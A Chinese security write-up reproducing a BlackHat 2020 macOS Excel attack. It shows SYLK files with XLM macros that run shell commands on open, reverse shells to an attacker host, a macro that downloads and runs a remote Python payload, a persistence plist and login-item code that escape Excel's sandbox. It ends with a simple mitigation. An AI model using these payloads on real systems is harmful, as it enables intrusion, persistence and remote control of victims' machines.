作者:t1ddl3r@百度藍軍
公眾號:百度安全應急響應中心
前言
在正面防御越來越難突破的今天,各種釣魚姿勢層出不窮。本月的BlackHat 2020大會上出現了一種新型的macOS下的excel宏攻擊,通過巧妙的漏洞鏈繞過了Mac沙箱,最終獲得了一枚反彈shell。筆者在研究過程中遇到了一些坑點,最終成功復現。希望文章中的一些經驗能夠起到拋磚引玉的作用。
1.XLM宏與Sylk文件
Sylk文件是一種古老的office文件格式,雖然如今已經幾乎不再使用此格式,但office仍然支持打開該格式的文件。在macOS下,雙擊.slk文件會默認調起Excel打開。
在Sylk文件中,VBA宏會失效,它支持另一種古老的XLM宏。一個惡意的XLM宏如下:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC","curl http://www.toutiao.com/")
C;X1;Y102;K0;EHALT()
E
其中第一行是Sylk文件標記,第二行表示此文檔啟用了XLM宏,第三行表示文檔打開時,自動執行文檔中第101行的代碼。后面的X與Y指代單元格坐標,如『C;X1;Y101』代表101行第1列的單元格,而『;E』代表表達式,后面跟隨的為XLM宏的表達式值。
『CALL("libc.dylib","system","JC","curl http://www.toutiao.com")』 表示調用libc.dylib中的system命令執行其后的bash命令。宏命令必須以HALK()或RETURN()結束,即第四行。結尾的E表示E標記結束。
將其另存為poc.slk文件,直接運行,便會在打開文件時執行curl http://www.toutiao.com。
在Mac Office 2011中,打開此文件時不會有任何危險提示,直接運行惡意命令,不過微軟已經停止了對2011的支持,并且網上已經很難下載到2011版本。在Mac Office 2016/2019中(現已修復),若用戶將偏好設置-安全性-宏安全性設置為『禁用所有宏,并且不通知』,惡意宏命令也將自動執行。可惜的是,此設置并非默認的(默認為『禁用所有宏,并發出通知』)。
盡管如此,這也會比Windows上的宏攻擊更容易成功。在Windows中,只有用戶主動點擊安全警告中的啟用內容時,宏才會被執行。而由于安全警告并不影響文檔的正常使用,普通用戶一般也不會主動啟用宏。
而內置XLM宏的Sylk文件被打開時,Mac Office 2016/2019默認設置下會發出彈窗安全警告:
用戶必須在啟用宏和禁用宏中選擇一個才能繼續使用文檔。這就意味著,在普通用戶缺乏安全意識的情況下,有50%的幾率中招。
2.執行惡意命令
我們將宏代碼修改為反彈shell的代碼:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/bin/sh -i >& /dev/tcp/attacker/8911 0>&1")
C;X1;Y102;K0;EHALT()
E
運行后attacker上會收到一個反彈shell,而運行此文件的mac將直接卡死。這是因為bash -i會阻塞后續代碼的運行,在編寫宏時應特別注意這一點,否則會有一種受到了DOS攻擊的表現。我們將代碼修改為后臺運行的反彈shell:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/bin/sh -c '(/bin/sh -i >& /dev/tcp/attacker/8911 0>&1 &)'")
C;X1;Y102;K0;EHALT()
E
成功收到一個反彈shell,且文檔關閉后反彈shell仍可正常運行。
sh-3.2$ pwd
/Users/yu/Library/Containers/com.microsoft.Excel/Data
sh-3.2$ ls
Desktop
Documents
Downloads
Library
Movies
Music
Pictures
logs
sh-3.2$ cd /Users/yu
sh-3.2$ ls
ls: .: Operation not permitted
經過一系列測試發現,此時反彈shell處于Excel的沙盒內。當處于com.microsoft.Excel/Data內時,bash功能正常;當想切換出沙盒目錄時,雖然切換目錄成功,但無法執行其他有效操作。這大大降低了shell的作用,即使由shell派生出新的進程,該子進程也將繼承父進程的沙盒特性,除非我們能夠讓一個不在沙盒中的進程主動啟動反彈shell。
3.沙盒逃逸
沙盒逃逸是這個議題主要的價值所在,但在復現過程中,筆者發現僅靠原作者的方式難以將整個漏洞利用鏈打通,故有了各種踩坑嘗試。
3.1 plist
使用codesign查看Excel的權限:
codesign --display -v --entitlement - /Applications/Microsoft\ Excel.app
可以看到允許寫入文件名以『~$』開始的文件:
(allow file-read* file-write*
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
這是典型的office臨時文件的文件名格式。嘗試在沙盒外生成一個符合規則的文件:
sh-3.2$ pwd
/Users/yu
sh-3.2$ echo "t1ddl3r">\~\$hello
sh-3.2$ cat \~\$hello
t1ddl3r
sh-3.2$
成功寫入,不會再像之前是『Operation not permitted』的狀態。由此,所有涉及增刪改查和執行的文件操作命令,一旦所操作的文件的文件名符合上述規則,便可成功執行。當然,如果操作的是文件夾就不可以。
根據此特性,我們可以向『~/Library/LaunchAgents』寫入一個plist文件,待下次mac啟動后,就會自動運行此plist文件,執行我們寫入的命令,此時由于命令是由plist拉起的,而并非Excel派生的,便不再處于Excel沙盒之下了。plist文件如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.microsoft</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/attcker/8911 0>&1</string>
</array>
<key>KeepAlive</key>
<true/>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>1</integer>
</dict>
</plist>
當mac啟動時,會自動執行『/bin/bash -c bash -i >& /dev/tcp/attcker/8911 0>&1』,且會每秒執行一次(由于命令會阻塞,實際上會表現為斷線后立即重連)。由于向~/Library/LaunchAgents下寫入plist并不需要高權限,這也成為mac下持久化的常用手段。但可惜的是,微軟在2018年12月發布的Excel for Mac 16.20.0中修復了這個漏洞,在權限設置中特別禁止了在此目錄下創建任何文件:
(deny file-write*
(subpath (string-append (param "_HOME") "/Library/Application Scripts"))
(subpath (string-append (param "_HOME") "/Library/LaunchAgents"))
)
因此我們不能再使用這種手段進行沙盒逃逸。
3.2 login item
那么除了使用plist文件,macOS下還有哪些手段能夠自啟動呢?答案是login item。
因為在沙盒環境下還是可以執行部分系統命令的,只要將反彈shell的程序添加到login item中,在系統啟動時,反彈shell的進程便會由loginwindow派生出來,從而繞過沙盒。
那么如何將程序添加到login item中呢?原作者給出的方案是下載并運行一個惡意的python文件,使用pyobjc來通過python調用Objective-C的API,從而將程序添加到login item中。
CoreServices.LSSharedFileListInsertItemURL( loginItems, kLSSharedFileListItemLast, None, None, appURL, None, None)
但很遺憾,默認的pyobjc中并沒有CoreServices這個框架,雖然在官方文檔中提及了這個模塊,但如果要使用需要主動安裝。而mac自帶的python是沒有pip的(即使有在沙盒環境下也很難安裝模塊),所以這個方法理論上來說是行不通的。這個問題困擾了筆者良久,在BH上的演講中,原作者對此細節也是一語帶過。筆者嘗試發郵件請教原作者,也未能得到回復。
經過調研發現,在macOS 10.11前,LSSharedFileListInsertItemURL存在于LaunchServices模塊中,而這個模塊在mac自帶python中是一直附帶的,不過在如今流行的版本中,LaunchServices.LSSharedFileListInsertItemURL已經無法使用了。
那么有沒有其他的途徑來實現這個操作呢?mac中可以使用osascript來執行AppleScript、JavaScript等語言與系統API進行交互。一番搜索后,添加login item的語句如下:
/usr/bin/osascript -e 'tell application "System Events" to make new login item with properties { path: "path/to/app", hidden:false } at end'
注意這里System Events必須由雙引號包裹,而XLM宏中,命令外側也需要使用雙引號包括,并且雙引號轉義是無效的,也即:
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "/usr/bin/osascript -e 'tell application \"System Events\" to make new login item with properties { path: \"path/to/app\", hidden:false } at end'")
這樣的語句是會報錯而不能執行的,不過沒關系,我們可以把執行osascript的代碼放到python中或sh中,再使用XLM宏執行相應的文件,即可避免雙引號沖突。最終執行結果如下:
由于添加login item時會通過『System Events』進行操作,會彈出相應的權限申請提示用戶,這讓本就要求苛刻的漏洞利用鏈更加雪上加霜,成功率大大降低。由此看來,此方法還是不可用的。
果然還是只能寄希望于pyobjc了,筆者開始查閱pyobjc的文檔,希望找到一個能夠直接調用系統函數的API。最終,找到了objc.loadBundleFunctions函數,其可以從NSBundle中加載函數,NSBundle常見于Mac/iOS開發中,用于加載各種資源和代碼,而NSBundle在Mac Python自帶的Foundation包中,正巧可以被使用。我們可以先創建一個SharedFileList的NSBundle對象(注意這里要通過Bundle Identifier加載資源而不是通過路徑),然后從NSBundle中加載所需要的函數:
from platform import mac_ver
from Foundation import NSURL
from LaunchServices import kLSSharedFileListSessionLoginItems
if int(mac_ver()[0].split('.')[1]) > 10:
from Foundation import NSBundle
import objc
shared_file_list = NSBundle.bundleWithIdentifier_('com.apple.coreservices.SharedFileList')
f = [
('LSSharedFileListCreate', '^{OpaqueLSSharedFileListRef=}^{__CFAllocator=}^{__CFString=}@'),
('LSSharedFileListCopySnapshot', '^{__CFArray=}^{OpaqueLSSharedFileListRef=}o^I'),
('LSSharedFileListInsertItemURL', '^{OpaqueLSSharedFileListItemRef=}^{OpaqueLSSharedFileListRef=}^{OpaqueLSSharedFileListItemRef=}^{__CFString=}^{OpaqueIconRef=}^{__CFURL=}^{__CFDictionary=}^{__CFArray=}'),
('kLSSharedFileListItemBeforeFirst', '^{OpaqueLSSharedFileListItemRef=}')
]
objc.loadBundleFunctions(shared_file_list, globals(), f)
else:
# 10.11以下的版本直接從LaunchServices加載即可
from LaunchServices import kLSSharedFileListItemBeforeFirst, LSSharedFileListCreate, \
LSSharedFileListCopySnapshot, LSSharedFileListInsertItemURL
自此,即使不使用CoreServices包,LSSharedFileListInsertItemURL也可以被正常調用了。那么思路就很明確了:我們先使用curl下載python文件到/tmp下,然后執行該python文件,將程序添加到login item中。
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "curl attacker/python_payload -o /tmp/\~\$python_payload && python /tmp/\~\$python_payload")
C;X1;Y102;K0;EHALT()
E
執行上述代碼,竟未成功!經過多次調試后發現,python在import一些庫時會調用os.getcwd(),由于我們的文件處于沙盒外,因此工作路徑也在沙盒外,會受到沙盒的限制,從而導致代碼執行失敗。
知道了原因便好規避了,將文件下載到權限較完整的沙盒目錄下來即可(/Users/xxx/Library/Containers/com.microsoft.Excel/Data),甚至因為處于沙盒路徑內,文件名都不會收到限制了:
ID;P
O;E
NN;NAuto_open;ER101
C;X1;Y101;K0;ECALL("libc.dylib","system","JC", "curl 106.12.215.252/python_payload -o python_payload && python python_payload")
C;X1;Y102;K0;EHALT()
E
執行成功!自此,目標程序被成功添加到login item中,在用戶下次登錄時自動被系統調起,脫離沙盒。
3.3 zip
首先要強調一點,雖然都是自啟動程序,login item與plist的不同之處在于,plist可以為可執行文件傳入任意參數,而login item只是指定了要啟動的程序,不能傳參,否則我們只需把反彈shell的命令添加到login item中就可以了。
那么我們要把什么樣的程序添加到login item中才能達到目的呢?一個自己編寫的惡意二進制程序怎么樣?很可惜,由于我們自己的二進制程序都要在沙盒中生成,不論是通過curl下載還是通過python釋放,其本身都會帶上com.apple.quarantine屬性:
sh-3.2$ echo 1234 > payload
sh-3.2$ chmod +x payload
sh-3.2$ xattr payload
com.apple.quarantine
sh-3.2$ echo 1234 > payload.py
sh-3.2$ xattr payload.py
com.apple.quarantine
而GateKeeper會對所有帶有com.apple.quarantine的可執行文件進行檢查,若其沒有合法簽名,將會被禁止運行,自然也不能添加到login item中打開。
原作者的思路是通過一個zip文件釋放plist到LaunchAgents中。也就是說,雖然在沙盒環境下我們不能直接在LaunchAgents中寫入plist文件,但我們可以在它的上級目錄創建一個『~payload.zip生成在~/Library目錄中,并將其添加到login item中,當下次啟動時,便會打開此zip自解壓。通過unzip命令進行實驗,發現確實可以實現向LaunchAgents文件夾中釋放文件。而將所有流程打通后測試,發現并未按照預計的那樣將plist釋放到LaunchAgents中:
程序新建了一個LaunchAgents 2文件夾,將plist解壓到了這里面。原來zip自解壓并非使用了unzip,而是歸檔工具,此兩者對于目錄中含有同名文件夾的處理是不同的。
而Mac下默認是沒有LaunchAgents這個文件夾的,有些應用程序有自啟動需求時,會創建這個文件夾。如果是默認沒有的情況下,這個方法就能成功了。
4.總結
綜上,漏洞利用鏈成功的前提是:
1.用戶無安全意識選擇啟用宏
2.沒有應用程序向~/Library下創建LaunchAgents文件夾
漏洞利用鏈如下:
1.用戶選擇執行宏
2.通過curl下載一個python文件到沙盒路徑下,再下載一個構造好的~$payload.zip到~/Library目錄下
3.執行這個python文件,將~/Library/~$payload.zip添加到login item中
4.當用戶下次登錄時(必須注銷或關機重啟),~$payload.zip被解壓,釋放plist文件到~/Library/LaunchAgents中
5.再下次mac重啟時,plist文件被執行,反彈shell到指定目標,成功繞過沙盒 對于防御此類攻擊,原作者給出的方法是監視進程和監視持久化文件兩種方式,還順帶推廣了一波自研的BlockBlock。實際上,有一種四兩撥千斤的防御方式:只要提前向~/Library下創建LaunchAgents文件夾,使漏洞鏈無法完成就可以了。
reference
https://www.blackhat.com/us-20/briefings/schedule/#office-drama-on-macos-20854
https://stackoverflow.com/questions/4912212
https://stackoverflow.com/questions/29345341
https://objective-see.com/blog/blog_0x4B.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1307/
暫無評論